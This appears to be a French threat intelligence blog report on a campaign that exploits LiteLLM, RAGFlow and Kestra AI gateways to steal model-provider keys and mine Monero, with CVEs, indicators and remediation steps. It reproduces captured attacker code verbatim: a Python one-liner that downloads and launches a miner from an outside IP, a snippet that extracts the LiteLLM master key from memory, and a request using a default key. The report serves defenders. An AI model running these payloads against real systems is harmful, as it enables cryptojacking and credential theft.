Threat Intelligence

LiteLLM, RAGFlow, Kestra : la campagne qui traite les passerelles IA comme un plan de contrôle à piller

Admin CyberAfrik 04 September 2026 27 lectures
LiteLLM, RAGFlow, Kestra : la campagne qui traite les passerelles IA comme un plan de contrôle à piller

Rapport CTI technique du 4 septembre 2026

Résumé exécutif

Microsoft Threat Intelligence et Wiz Threat Research ont documenté fin août 2026 une série d'intrusions visant des charges de travail IA exposées sur Internet : passerelles LiteLLM, déploiements RAGFlow, environnements d'orchestration Kestra. Les chemins d'accès initial diffèrent d'un produit à l'autre, mais les objectifs convergent : voler des clés de fournisseurs de modèles, s'installer durablement sur l'hôte, et monétiser le processeur via du minage Monero. La CISA a ajouté le 2 septembre 2026 deux des vulnérabilités concernées à son catalogue KEV, CVE-2026-49869 pour Kestra (CVSS 10.0) et CVE-2026-59822 pour LiteLLM (CVSS 8.8), aux côtés de CVE-2026-48710 dans Starlette qui sert de maillon d'authentification dans la chaîne LiteLLM.

Ce qui distingue cette campagne d'un cryptojacking ordinaire, c'est la connaissance du terrain. Sur LiteLLM, les attaquants n'ont pas cherché des fichiers de secrets sur le disque : ils ont interrogé l'état mémoire du module Python de la passerelle pour récupérer la clé maître, puis lu /proc/1/environ dans les déploiements conteneurisés où le service tourne en PID 1. Sur Langflow, un mineur a été caché dans un répertoire .claude/ pour se fondre dans un environnement d'outillage IA. Wiz relie par ailleurs le groupe rançongiciel Qilin à l'exploitation active de la chaîne CVE-2026-42271 plus CVE-2026-48710, ce qui place ces passerelles sur la trajectoire d'acteurs d'extorsion et pas seulement de cryptomineurs opportunistes.

Chronologie

DateÉvénement
Juin 2026CVE-2026-42271 (injection de commandes dans les endpoints de test MCP de LiteLLM) est ajoutée au catalogue KEV de la CISA
Fin juin 2026Compromission Kestra observée par Microsoft : shell inverse, découverte Docker, déploiement de mineur
Juin à août 2026Wiz collecte 90 jours de télémétrie sur ses pots de miel LiteLLM, Flowise, LangChain, Langflow, ChromaDB, Ollama, Node-RED
26 août 2026Publication du rapport Microsoft Threat Intelligence sur les trois compromissions (LiteLLM, RAGFlow, Kestra)
27 août 2026Publication de la télémétrie Wiz, avec IOC réseau et fichiers, et lien vers Qilin
2 septembre 2026CVE-2026-49869, CVE-2026-59822 et CVE-2026-48710 ajoutées au catalogue KEV
5 et 16 septembre 2026Échéances BOD 26-04 : Kestra au 5 septembre, Starlette et LiteLLM au 16 septembre

Fiche vulnérabilité

CVE-2026-49869 | CVSS 10.0 | Kestra OSS (orchestration de workflows)

Injection de commandes système permettant à un attaquant distant non authentifié de créer et d'exécuter des workflows arbitraires sans identifiants. Microsoft décrit le mécanisme comme un contournement du mécanisme de connexion suivi de la définition d'un workflow malveillant utilisant le runner Process, ce qui déclenche l'exécution de script côté worker. Le moteur d'orchestration est conçu pour exécuter des tâches : abuser de la création de workflow revient à obtenir une primitive d'exécution légitime, ce qui complique la détection par signature.

Conditions d'exploitation : accès réseau à la surface d'orchestration exposée, aucune authentification.

PoC disponible : pas de PoC public identifié. Exploitation confirmée en conditions réelles (télémétrie Microsoft, fin juin 2026). Avis amont : GHSA-5vc5-wxxq-3fjx.

Patch : appliquer la version corrigée signalée dans l'avis GitHub de kestra-io. Échéance BOD 26-04 fixée au 5 septembre 2026.

CVE-2026-59822 | CVSS 8.8 | LiteLLM, passerelle MCP (endpoint Streamable HTTP)

Défaut d'authentification découvert par Wiz Research dans la gestion des en-têtes OAuth2. Quand la validation du jeton échoue, le serveur ne rejette pas la requête : il retourne un objet UserAPIKeyAuth() vide, sans restriction. Autrement dit, l'échec de validation produit un contexte d'autorisation permissif au lieu d'une erreur. N'importe quel jeton Bearer, y compris un seul caractère, ouvre un accès MCP complet. Le motif relève de CWE-287 avec une composante de gestion d'erreur défaillante.

Conditions d'exploitation : requête HTTP vers l'endpoint MCP avec un en-tête Authorization: Bearer x. Wiz a observé exactement ce schéma sur ses pots de miel, utilisé pour sonder les endpoints d'énumération de modèles.

PoC disponible : oui, la requête minimale est publiée dans l'analyse Wiz. Avis amont : GHSA-7488-6r32-c95q.

Patch : mise à jour LiteLLM selon l'avis BerriAI. Échéance BOD 26-04 au 16 septembre 2026.

CVE-2026-48710 | CVSS 6.5 | Starlette (framework ASGI Python)

Contrebande de requête et de réponse HTTP. Un attaquant peut injecter un chemin dans la partie hôte, en préfixe du chemin réel, ce qui casse la reconstruction d'URL. Quand l'authentification s'appuie sur le chemin reconstruit, le contrôle saute. Score modeste isolément, rôle décisif en chaîne : c'est ce maillon qui transforme CVE-2026-42271, une exécution de commandes authentifiée, en exécution non authentifiée.

Conditions d'exploitation : dépend de la configuration de l'application ASGI en aval.

PoC disponible : la chaîne est décrite publiquement par Horizon3.ai et reprise par Wiz. Avis amont : GHSA-86qp-5c8j-p5mr.

CVE-2026-42271 | CVSS 8.7 | LiteLLM, endpoints de test de serveur MCP

Injection de commandes déjà présente au KEV depuis juin 2026. Les endpoints permettent de tester une configuration de serveur MCP avant de l'enregistrer, mais le champ command est passé directement à un subprocess sur l'hôte du proxy, avec les privilèges du processus et sans validation ni bac à sable. Wiz a capturé le payload complet : une fausse configuration de serveur MCP stdio dont le champ command contient un script Python qui télécharge et lance un mineur, puis renvoie une poignée de main MCP valide pour que le test de connexion paraisse réussir.

Diagramme de la chaîne d'attaque

Matrice de progression des techniques observées sur les charges de travail IA

Matrice construite à partir de la cartographie ATT&CK publiée par Microsoft le 26 août 2026 et des observations Wiz du 27 août 2026.

Analyse technique

Étape 1 : deux portes d'entrée sur la même passerelle

LiteLLM concentre deux défauts de nature différente sur la même surface. CVE-2026-59822 donne un accès MCP sans authentification valable, utile pour la reconnaissance : énumération des modèles disponibles, cartographie des fournisseurs en amont. CVE-2026-42271 donne l'exécution de code, mais suppose une session authentifiée, jusqu'à ce que CVE-2026-48710 dans Starlette fasse sauter cette exigence en cassant la reconstruction d'URL sur laquelle repose le contrôle d'accès.

Cette séparation des rôles mérite d'être notée par les équipes offensives comme défensives : la faille qui vaut 10.0 n'est pas toujours celle qui décide de l'issue. Ici, un CVSS 6.5 dans une dépendance transverse transforme une exécution authentifiée en pré-authentification.

Étape 2 : le mineur qui répond correctement au protocole

Le payload observé par Wiz sur les endpoints de test MCP est instructif sur le plan de la discrétion :

python3 -u -c "import sys, json, threading, time output = '' try:    import os, urllib.request, zipfile, subprocess, shutil    url  = 'http://185.62.1.8/mon/mon.zip'    hdir = '/tmp/.dbus-cache'    os.makedirs(hdir, mode=0o700, exist_ok=True)    urllib.request.urlretrieve(url, '/tmp/.dbus-cache/m.zip')    with zipfile.ZipFile('/tmp/.dbus-cache/m.zip', 'r') as zf:        zf.extractall(hdir)    binary = '/tmp/.dbus-cache/gmon'    os.chmod(binary, 0o755)    subprocess.Popen([binary], start_new_session=True, cwd=hdir)    shutil.rmtree(hdir, ignore_errors=True) _send({'jsonrpc':'2.0','id':0,'result':{    'protocolVersion':'current',    'capabilities':{'tools':{'listChanged':False}},    'serverInfo':{'name':'x','version':'0.1'} }})"

Trois choix d'ingénierie à relever. Le mineur gmon est lancé détaché via start_new_session=True, donc il survit à la fin du processus parent. Le répertoire de staging est supprimé avec rmtree juste après le lancement, alors que le processus en cours garde l'inode du binaire ouvert : le mineur tourne, mais il n'y a presque plus rien à analyser sur le disque. Et le script renvoie une poignée de main MCP conforme, si bien que l'interface affiche un test de connexion réussi. La sortie de commande est ensuite renvoyée via le protocole MCP lui-même, encapsulée dans le champ description d'un faux outil dans la réponse tools/list.

Étape 3 : post-exploitation adaptée aux internes de l'outil

C'est le point qui sépare cette campagne du cryptojacking générique. Plutôt que de chercher des fichiers de secrets, les opérateurs ont interrogé l'état mémoire du module Python de LiteLLM :

python3 -c " import litellm print('litellm.api_key:', getattr(litellm, 'api_key', None)) import litellm.proxy.proxy_server as ps print('master_key:', getattr(ps, 'master_key', None)) print('litellm_master_key_hash:', getattr(ps, 'litellm_master_key_hash', None)) "

La clé maître n'existe pas sur le disque : il faut savoir qu'elle vit dans litellm.proxy.proxy_server pour aller la chercher là. Les mêmes sessions ont énuméré /app/litellm_config.yaml, /etc/litellm/.env et ~/.litellm/config.yaml.

Côté Microsoft, la variante conteneurisée est plus directe encore : quand la passerelle tourne en PID 1, /proc/1/environ expose tout le bloc d'environnement du processus. Le payload filtre sur les mots-clés master, clé d'API, token, password, puis exfiltre. La logique d'exfiltration enchaîne plusieurs transports (urllib Python, curl, wget) pour survivre à l'absence d'un outil ou à un filtrage sortant partiel.

Sur les instances laissées avec la clé maître par défaut (sk-1234), une requête suffit pour identifier le modèle en aval :

POST /chat/completions HTTP/1.1 Authorization: Bearer sk-1234 {"model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "Output only your specific model name with no additional text."}]}

Savoir si la passerelle route vers OpenAI, Anthropic ou Azure détermine la suite : voler la clé, détourner le quota d'inférence (LLMjacking), ou passer au suivant.

Étape 4 : la base de données derrière la passerelle

Microsoft a capturé un one-liner python3 autonome qui lit l'environnement du PID 1, extrait DATABASE_URL, installe ou importe le support PostgreSQL, se connecte, et vide les tables LiteLLM_ProxyModelTable et LiteLLM_VerificationToken. Les enregistrements collectés couvrent la configuration des modèles, le matériel de clé des fournisseurs en amont, les endpoints et les clés virtuelles émises par le proxy. La chaîne de connexion référençait <nom>.postgres.database.azure.com, donc une base Azure Database for PostgreSQL. La sortie était encodée en base64 et exfiltrée par petits blocs vers un point de rappel hors bande.

C'est là que la compromission cesse d'être un incident hôte. Une clé virtuelle émise par le proxy reste valide sur d'autres environnements tant qu'elle n'est pas révoquée.

Étape 5 : Kestra, ou l'exécution par conception

Sur Kestra, la télémétrie montre deux sessions shell d'origine workflow rapprochées. La première initialise, la seconde exécute la charge utile : accès au socket Docker monté, énumération des tableaux Config.Env de tous les conteneurs en cours, ce qui expose des clés cloud, des mots de passe de base et des jetons d'API appartenant à d'autres services que Kestra. Puis récupération d'un mineur depuis une source de publication publique, extraction, renommage du binaire, exécution en arrière-plan via nohup, et réglage CPU de type RandomX associé à XMRig v6.26.0 vers un pool Monero.

Un événement ultérieur utilise un schéma curl-pipe-shell : le script distant est exécuté directement par le shell sans jamais être écrit sur le disque, et la sortie collectée est stockée via l'API clé-valeur de Kestra elle-même. Le moteur d'orchestration sert ainsi de canal de stockage pour les données volées, ce qui réduit les artefacts fichiers exploitables en investigation.

Étape 6 : RAGFlow, le hook qui attend les clés suivantes

Le cas RAGFlow est le plus patient. Après une reconnaissance de type SSRF (rappel Burp Collaborator sans exécution de processus enfant), l'exécution de code arrive plusieurs jours plus tard. Le payload localise l'installation depuis l'intérieur du conteneur, crée un hook Python caché sous l'arborescence applicative, et modifie le chemin de démarrage ou d'import (api/__init__.py) pour que le hook se charge à chaque démarrage du service. Le hook enveloppe ensuite TenantLLM.insert() et capture les métadonnées fournisseur au moment où un administrateur configure une nouvelle clé : type de fournisseur, nom du modèle, matériel de clé, endpoint.

L'implant intercepte donc les clés configurées après l'infection, ce qui rend la rotation post-incident inutile tant que le hook reste en place. Microsoft précise ne pas attribuer cette intrusion à une vulnérabilité précise, tout en listant le contexte public plausible : CVE-2026-45312 et CVE-2026-28797 (SSTI Jinja2 authentifiées), CVE-2026-24770 (traversée de chemin dans le parseur MinerU), CVE-2025-68700 (contournement du bac à sable Canvas CodeExec) et CVE-2025-69286 pour l'accès aux comptes.

Étape 7 : camouflage contextuel

Sur un pot de miel Langflow, le mineur a été déposé dans /app/data/.claude/ et renommé unicorn. Le choix n'est pas anodin : sur un serveur qui héberge de l'outillage IA, un répertoire .claude/ passe pour une configuration légitime. L'administrateur qui parcourt les processus suspects a moins de raisons de s'y arrêter. Même logique côté LiteLLM avec des binaires ELF nommés d'après des démons Linux, des noms de service systemd usurpés et des attributs de fichier immuables (chattr +i) pour résister au nettoyage.

Indicateurs de compromission

Indicateurs réseau publiés par Microsoft Threat Intelligence :

TypeValeur
IPv445.150.109[.]151 (infrastructure de scan et reconnaissance, plusieurs charges IA)
IPv4:port135.125.10[.]56:19888 (C2 RAGFlow, exfiltration de clés LLM)
IPv4:port172.232.38[.]92:32991 (shell inverse Kestra, VPS Linode)
Domaine45.150.109.151.sslip[.]io (rebinding DNS, évasion de réputation)
Domaine:portauto.c3pool[.]org:443 (pool de minage Monero, Kestra)
IPv62001:41d0:701:1100::adfd (endpoint c3pool)
IPv447.86.197[.]116 (endpoint c3pool)
Domaineyosemite[.]jp (C2 et exfiltration, collecte de secrets LiteLLM)
Domainegobygo[.]net (balises LiteLLM encodées en sous-domaine)
Domainesoast[.]me, oast[.]pro, oast[.]fun (rappels hors bande)
IPv4194.213.18[.]133 (infrastructure mail contrôlée par l'attaquant)

Indicateurs réseau publiés par Wiz :

TypeValeur
IPv4185.62.1[.]8 (serveur de téléchargement, campagne LiteLLM/MCP)
IPv4185.84.98[.]85 (C2 cryptomineur)
IPv494.26.106[.]29 (staging de binaire Langflow)
Domainepool.hashvault[.]pro (pool Monero, plusieurs campagnes)
Domainecrazyeltonproxy[.]top (proxy de minage, LangChain et Node-RED)
Domaine1710.rwlp[.]be (site WordPress compromis, staging)

Indicateurs fichiers :

TypeValeur
Chemin/tmp/.dbus-cache/ (staging cryptomineur)
Chemin/tmp/.dbus-cache/gmon (binaire de minage Monero)
Chemin/tmp/x86_64, /tmp/amd64 (dropper Langflow, auto-suppression)
Chemin/usr/src/node-red/xmrig (XMRig sur Node-RED)
Chemin/app/data/.claude/unicorn (mineur camouflé sur Langflow)
SHA256f64b88e9318bdf23f2dd119a0ce1dd1bdb3c8cd2e0e1e23ba3ef2e19072b79cc (ELF /tmp/d, LiteLLM)
SHA25649fdcf32bfe837899a84e8938f0d07ae96ddd218a280a09eb60df8d64597bd8f (XMRig, LiteLLM)
SHA2563af9f25a4d45bb4f1ec5627cdbc6703cf3b4be75a892162d299d80ddfb266f42 (XMRig variante)
SHA2563d24ac736635e0fa0c5c459c9e18ca09d1ec9a1751a4503130934395609bd7e0 (installeur, dépose /tmp/python3)

MITRE ATT&CK

Cartographie publiée par Microsoft Threat Intelligence dans son rapport du 26 août 2026, reprise ici telle quelle. Les lignes signalées comme lecture CyberAfrik sont les nôtres, ajoutées à partir des observations Wiz non couvertes par le tableau éditeur.

TactiqueTechniqueIDJustification
Initial AccessExploit Public-Facing ApplicationT1190Abus du runtime de passerelle LiteLLM exposé sur Internet
ExecutionCommand and Scripting InterpreterT1059One-liners python3 -c et scripts shell lancés depuis le processus de passerelle
Credential AccessUnsecured Credentials: Credentials in FilesT1552.001Collecte de clés fournisseurs depuis /proc/1/environ et la table de configuration modèle
DiscoveryProcess Discovery / Software DiscoveryT1057 / T1518Balayages pgrep de mineurs concurrents, énumération des fichiers de configuration PostgreSQL
ImpactResource HijackingT1496Minage avec réglage MSR et éviction des mineurs concurrents
PersistenceSSH Authorized Keys / CronT1098.004 / T1053.003Clé SSH sur compte de service et entrées cron pour l'accès durable
Defense EvasionMasquerading / Hidden Files and DirectoriesT1036.005 / T1564.001Charges nommées d'après des démons système, exécution depuis des fichiers /tmp cachés
Defense EvasionLinux File and Directory Permissions ModificationT1222.002Attribut immuable chattr +i sur les répertoires de charge utile
Command and ControlApplication Layer Protocol / Non-Application Layer ProtocolT1071.001 / T1095Balises HTTP vers infrastructure en IP brute, exfiltration vers yosemite[.]jp, rappels OAST
Credential Access (lecture CyberAfrik)Credentials from Password StoresT1555Extraction de la clé maître depuis l'état mémoire du module litellm.proxy.proxy_server
Discovery (lecture CyberAfrik)Container and Resource DiscoveryT1613Énumération des tableaux Config.Env via le socket Docker monté sur Kestra
Persistence (lecture CyberAfrik)Event Triggered ExecutionT1546Hook Python inséré dans le chemin de démarrage RAGFlow (api/__init__.py)

Remédiation : checklist opérationnelle

  1. Inventorier toute l'infrastructure IA auto-hébergée exposée : LiteLLM, RAGFlow, Kestra, Flowise, Langflow, LangChain, ChromaDB, Ollama, Marimo, serveurs MCP. La plupart de ces outils démarrent sans authentification par défaut.
  2. Patcher en priorité Kestra (CVE-2026-49869, échéance BOD 26-04 au 5 septembre), puis LiteLLM et Starlette (CVE-2026-59822 et CVE-2026-48710, échéance au 16 septembre). Vérifier également la présence de CVE-2026-42271, au KEV depuis juin.
  3. Retirer d'Internet toute interface d'administration ou de gestion de ces produits. Une console d'orchestration joignable publiquement équivaut à une exécution de code publique.
  4. Faire tourner immédiatement les clés fournisseurs de modèles et les clés virtuelles émises par tout proxy exposé, y compris celles créées avant l'incident supposé. Une clé virtuelle volée reste valide jusqu'à révocation explicite.
  5. Sortir les clés amont des variables d'environnement de processus et les placer dans un magasin de secrets géré. Sur un conteneur en PID 1, /proc/1/environ est lisible par toute exécution de code obtenue dans ce contexte.
  6. Ne jamais monter le socket Docker dans un conteneur d'orchestration accessible depuis le réseau. C'est le point qui transforme une compromission Kestra en collecte de secrets à l'échelle de l'hôte.
  7. Vérifier la clé maître LiteLLM : toute instance encore sur sk-1234 doit être considérée comme déjà énumérée.
  8. Chasser sur les indicateurs listés plus haut, et particulièrement sur les résolutions DNS vers les domaines OAST, les connexions vers des hôtes en IP brute sur ports non standard, et les résolutions *.sslip.io.
  9. Détecter au niveau runtime plutôt que par produit : un processus de passerelle IA qui engendre bash, sh, curl, wget ou python3 est anormal quel que soit le vecteur d'entrée. La requête de chasse Defender publiée par Microsoft croise ancestralité de passerelle, mots-clés de secrets et communication sortante.
  10. Contrôler l'intégrité des fichiers applicatifs sur RAGFlow, en particulier api/__init__.py et tout module chargé au démarrage. Un hook de vol de clés survit aux redémarrages de service si l'état du système de fichiers persiste.
  11. Vérifier les ~/.ssh/authorized_keys des comptes de service, les entrées cron, et les fichiers portant l'attribut immuable sur les hôtes concernés.
  12. Appliquer une politique de sortie réseau en refus par défaut sur ces charges, avec liste d'autorisation limitée aux endpoints de fournisseurs de modèles réellement utilisés.

Sources

Tags : LiteLLMKestraRAGFlowCVE-2026-49869CVE-2026-59822MCPQilincryptojackingCISA KEV
Partager cet article